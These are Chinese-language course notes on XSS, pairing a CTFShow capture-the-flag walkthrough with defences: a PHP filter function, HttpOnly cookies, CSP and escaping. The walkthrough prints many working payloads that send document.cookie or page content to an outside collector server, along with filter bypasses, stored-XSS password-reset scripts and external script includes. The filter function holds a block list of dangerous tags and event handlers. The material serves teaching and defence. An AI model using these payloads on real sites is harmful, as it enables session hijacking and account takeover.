第38天:WEB攻防-通用漏洞&XSS跨站&绕过修复&http_only&CSP&标签符号
#知识点: 1、XSS跨站-过滤绕过-便签&语句&符号等 2、XSS跨站-修复方案-CSP&函数&http_only等 1、原理 指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。 -数据交互的地方 get、post、headers 反馈与浏览 富文本编辑器 各类标签插入和自定义 -数据输出的地方 用户资料 关键词、标签、说明 文件上传 2、分类 反射型(非持久型) 存储型(持久型) DOM型 mXSS(突变型XSS) UXSS(通用型xss) Flash XSS UTF-7 XSS MHTML XSS CSS XSS VBScript XSS 3、危害 网络钓鱼,包括获取各类用户账号; 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份对网站执行操作; 劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等; 强制弹出广告页面、刷流量等; 网页挂马; 进行恶意操作,如任意篡改页面信息、删除文章等; 进行大量的客户端攻击,如ddos等; 获取客户端信息,如用户的浏览历史、真实ip、开放端口等; 控制受害者机器向其他网站发起攻击; 结合其他漏洞,如csrf,实施进一步危害; 提升用户权限,包括进一步渗透网站; 传播跨站脚本蠕虫等 4、修复(基本上能屏蔽99%的功能,其他的有可能是内部的问题) 1、过滤一些危险字符 2、HTTP-only Cookie 3、设置CSP(Content Security Policy) 4、输入内容长度限制,转义等 #XSS跨站系列内容: 1、XSS跨站-原理&分类&手法 2、XSS跨站-探针&利用&审计 3、XSS跨站-另类攻击手法利用 4、XSS跨站-防御修复&绕过策略
- XSS绕过-CTFSHOW-361到331关卡绕过WP
361 这个ctfshow默认会有一个机器人去访问触发的跨站,然后让管理员把他的cookie发送出去。 那么应该怎么获取管理员的cookie呢? 用document.cookie就可以获取到当前的cookie(在JavaScript代码中)
让控制太进行跳转访问window.location.href='http://www.xiaodi8.com' 这样回车就会跳转到www.xiaodi8.com
把获取到的cookie发送给一个远程地址,在服务器上构造一个接受cookie的get.php get.php: <?php $cookie=$_GET['c']; $myfile = fopen("cookie.txt", "w+"); fwrite($myfile, $cookie); fclose($myfile); ?> 然后把这个cookie发送过去 在控制台中构造window.location.href='http://47.100.167.248/get.php?c='+document.cookie
当访问的触发的时候,读取服务器的cookie.txt文件
然后要怎么让管理员触发,把他的cookie发送出去呢?这个时候就用到跨站漏洞 构造跨站语句: <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script>
362 重新使用之前一关的payload,发现了过滤
这个是对<script>进行了过滤,那么应该怎么进行绕过呢? 参考绕过:https://xz.aliyun.com/t/4067 对比两个xss语句,这次用到的是<img>标签 <scirpt>alert("xss");</script> <img src=1 onerror=alert("xss");> 把alert("xss");触发语句,构造payload:<img src=1 onerror=window.location.href='http://47.100.167.248/get.php?c='+document.cookie>
发送过去,发现并不能得到管理员的flag,但是自己的flag就可以得到,因为这个是自己触发的,管理员(ctfshow机器人)并没有触发这个代码。 这个代码:<img src=1 onerror=window.location.href='http://47.100.167.248/get.php?c='+document.cookie> 当图片src不等于1的时候,就会触发后面的语句(图片一旦错误就会触发语句),但是管理员没有触发,或者说这个事件不对 修改一下事件:<img src=1 onload=window.location.href='http://47.100.167.248/get.php?c='+document.cookie> onerror是错误事件,onload是载入事件。
但是还是不行。继续换别的方法: <input onload="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;"> 用input事件
继续还是不行,也不知道是为什么。可能是触发的问题,机器人触发跟正常人触发是不一样的。 继续更换触发事件,<body/onload=alert("xss");> 构造payload:<body onload=window.location.href='http://47.100.167.248/get.php?c='+document.cookie;>
这个是什么原因呢? 为什么body可以,img不行。其实这是和鼠标事件有关。鼠标事件有错误事件(onerror),有单击事件(onclick),指向触发,还有得是直接载入时间(onload)触发(这个是最好的)
318 319 用前面的payload:<img src=1 onload=window.location.href='http://47.100.167.248/get.php?c='+document.cookie> 一样也是被过滤了,然后用到input标签: <input onfocus="alert('xss');"> 构造payload: <input onload="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;">
这个一直都触发不了,页面也没有跳转。 换一个payload:<svg onload="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;">
320--326 可以测试,发现过滤了空格,只要有空格都不能成功。 同样也可以绕过空格 <img/src="x"/onerror=alert("xss");> 构造payload: <svg/onload="window.location.href='http://47.100.167.248/get.php?c='+document.cookie;"> 这样就可以得到flag
327 这一关是属于存储型跨站,一个很典型的跨站地方。(信箱留言) 构造payload:<script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script> 收件人要写上admin。
328 这一关出现了注册登录查看等操作。 在用户管理中,有账号密码等显示(这里不是管理员不让显示) 思路: 后台管理员有功能页面,能够查看注册用户的账号密码 如果我将注册的账号密码改为js代码,在管理员查看账号密码下会不会触发js代码么 触发了JavaScript代码,获取到管理员的cookie值,就可以进行用户的查看。 构造payload: <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script>
抓包,修改cookie的值,实现admin登录
329 在页面上也是一样的。 所以同理,可以用到上一关的payload来获取cookie的值。 <script>window.location.href='http://47.100.167.248/get.php?c='+document.cookie</script> 可以获取到cookie,但是一直登录不成功。因为每次cookie都在刷新。刚获取,他就失效。
那么应该怎么处理这个问题呢? 思路:可以获取到页面的cookie的值,那么也一样可以获取到页面内容的东西。 刚发给你他就退出登录,cookie存活期 那么应该怎么处理呢? 不获取cookie,获取代码的源码 上一关显示源码中的flag位置,在页面密码下的第一行。 查看元素,看看是什么标识这个变量
可以看出,是layui-table-cell laytable-cell-1-0-1标识了管理员可见,那么就构造payload,让这个的值,在触发的时候发送到指定位置。 在xss平台上也有这个功能,但是一直都不能成功 https://xss8.cc/
构造payload <script> $('.laytable-cell-1-0-1').each(function(index,value){ if(value.innerHTML.indexOf('ctf'+'show')>-1){ window.location.href='http://47.100.167.248/get.php?c='+value.innerHTML; } }); </script> 需要一次完成。
330 这个页面多了个修改密码,经过测试,可以得知修改密码只要访问/api/change.php?p=111111这个地址就能把密码修改。(抓包分析,需要登录状态) 那么这个地址修改的密码是谁的密码呢?是当前登录用户的密码。 攻击:注册一个用户和密码存在跳转修改密码的URL地址链接。 这个时候,就需要管理员登录后,然后查看了这个用户的注册密码信息,就可以尝试重置密码。 构造payload: <script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script> 这样登录后,就可以用admin 123来进行管理员的登录
331 同样有修改密码的地方,但是是post提交数据,抓包分析
那么应该怎么使用JavaScript来进行post提交数据呢? 构造payload:<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script> 用admin登录,就可以得到flag
- XSS修复-过滤函数&http_only&CSP&长度限制
过滤函数
1、过滤一些危险字符,以及转义& < > " ' 等危险字符 自定义过滤函数引用 代码函数 function remove_xss($val) { // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed // this prevents some character re-spacing such as <java\0script> // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); // straight replacements, the user should never need these since they're normal characters // this prevents like <IMG SRC=@avascript:alert('XSS')> $search = 'abcdefghijklmnopqrstuvwxyz'; $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $search .= '1234567890!@#$%^&*()'; $search .= '~`";:?+/={}[]-_|\'\\'; for ($i = 0; $i < strlen($search); $i++) { // ;? matches the ;, which is optional // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars // @ @ search for the hex values $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ; // @ @ 0{0,7} matches '0' zero to seven times $val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; } // now the only remaining whitespace attacks are \t, \n, and \r $ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); $ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); $ra = array_merge($ra1, $ra2); $found = true; // keep replacing as long as the previous round replaced something while ($found == true) { $val_before = $val; for ($i = 0; $i < sizeof($ra); $i++) { $pattern = '/'; for ($j = 0; $j < strlen($ra[$i]); $j++) { if ($j > 0) { $pattern .= '('; $pattern .= '(&#[xX]0{0,8}([9ab]);)'; $pattern .= '|'; $pattern .= '|(�{0,8}([9|10|13]);)'; $pattern .= ')*'; } $pattern .= $ra[$i][$j]; } $pattern .= '/i'; $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags if ($val_before == $val) { // no replacements were made, so exit the loop $found = false; } } } return $val; } 访问http://127.0.0.1:8081/web/mysql/xss1.php 经过函数引用,访问:http://127.0.0.1:8081/web/mysql/xss1.php?x=<script>alert(1)</script>
这个script就被过滤了。但是同样也是可以被绕过的。 http://127.0.0.1:8081/web/mysql/xss1.php?x=%3Cdetails%20ontoggle=%22alert(%27xss%27);%22%3E 这个语句就能进行弹窗。看能不能绕过,就要看这个代码函数写的过滤严不严格了。
http_only
2、HTTP-only Cookie https://www.php.cn/php-ask-457831.html 两种设置方法: php.ini设置:session.cookie_httponly =1 代码引用:ini_set("session.cookie_httponly", 1); php.ini设置(一定要找到相对应的版本)
代码设置是直接加上代码就可以了。
这里用到演示:http://127.0.0.1:8083/admin/index.php zzcms8.0源码,找到相对应的admin/index.php文件,写入跨站代码:<sCRiPt sRC=//xss.pt/X8Vz></sCrIpT> 获取到的cookie信息:3F3c_2132_ulastactivity=3510%2FidEGpquM3CgPxpiU6JCUHFOdpzQQIGMmHavkLvyQEFVrD5t; 3F3c_2132_nofavfid=1; UM_distinctid=17e46ab82db351-0c35a219639312-3354487a-144000-17e46ab82dc9f3; page_iframe_url=http://127.0.0.1:8086/index.php?lang=cn&pageset=1; CNZZDATA3801251=cnzz_eid%3D995699586-1641863151-%26ntime%3D1645614526; _ac_app_ua=c8b54fda84ed05d39f; lastvisit=41%091645839078%09%2Findex.php%3Fm%3Du%26c%3Dregister; CNZZDATA1670348=cnzz_eid%3D868617542-1645606304-http%253A%252F%252F127.0.0.1%253A8102%252F%26ntime%3D1645919148; PHPSESSID=c43d8bac4ce34ba3756c3f5e18f8903d
然后再次查看本地访问的真是cookie信息:3F3c_2132_ulastactivity=3510%2FidEGpquM3CgPxpiU6JCUHFOdpzQQIGMmHavkLvyQEFVrD5t; 3F3c_2132_nofavfid=1; UM_distinctid=17e46ab82db351-0c35a219639312-3354487a-144000-17e46ab82dc9f3; page_iframe_url=http://127.0.0.1:8086/index.php?lang=cn&pageset=1; CNZZDATA3801251=cnzz_eid%3D995699586-1641863151-%26ntime%3D1645614526; _ac_app_ua=c8b54fda84ed05d39f; lastvisit=41%091645839078%09%2Findex.php%3Fm%3Du%26c%3Dregister; CNZZDATA1670348=cnzz_eid%3D868617542-1645606304-http%253A%252F%252F127.0.0.1%253A8102%252F%26ntime%3D1645919148; PHPSESSID=c43d8bac4ce34ba3756c3f5e18f8903d 可以看出,两个的cookie信息基本是一样的,获取cookie成功。 然后在代码中加上ini_set("session.cookie_httponly", 1); 看重新获取能不能成功。
还是一样能获取到cookie,并且cookie一模一样。所以也不知道是什么情况。可能是平台的问题或者说是代码的问题。 如果设置了httponly通过平台获取不了cookie的话(原理是禁用了JavaScript),可以用beef来获取 可能这个是个session验证,所以还是能够得到。
CSP
3、设置CSP(Content Security Policy) https://blog.csdn.net/a1766855068/article/details/89370320 设置代码:header("Content-Security-Policy:img-src 'self' ");
比如功能:加载一个百度的地址,没有设置的时候
直接访问,可以加载出图片
启动这个代码
在此访问的时候,这个图片就加载不出来了。
访问这个地址的时候,触发 只允许加载本地图片。不加载外部图片。
在zb_system/admin/index.php 这个文件中假如跨站代码<sCRiPt sRC=//xss.pt/X8Vz></sCrIpT> 刷新这个页面http://127.0.0.1:8107/zb_system/admin/index.php 可以发现他向xss平台发送了数据。 但是cookie发送不出去,因为这个是设置了CSP。
那么这个设置在哪里呢,全局搜索:header("Content-Security-Policy:img-src 'self' ");
4、输入内容长度限制,实体转义等 把<转义成7gt >等。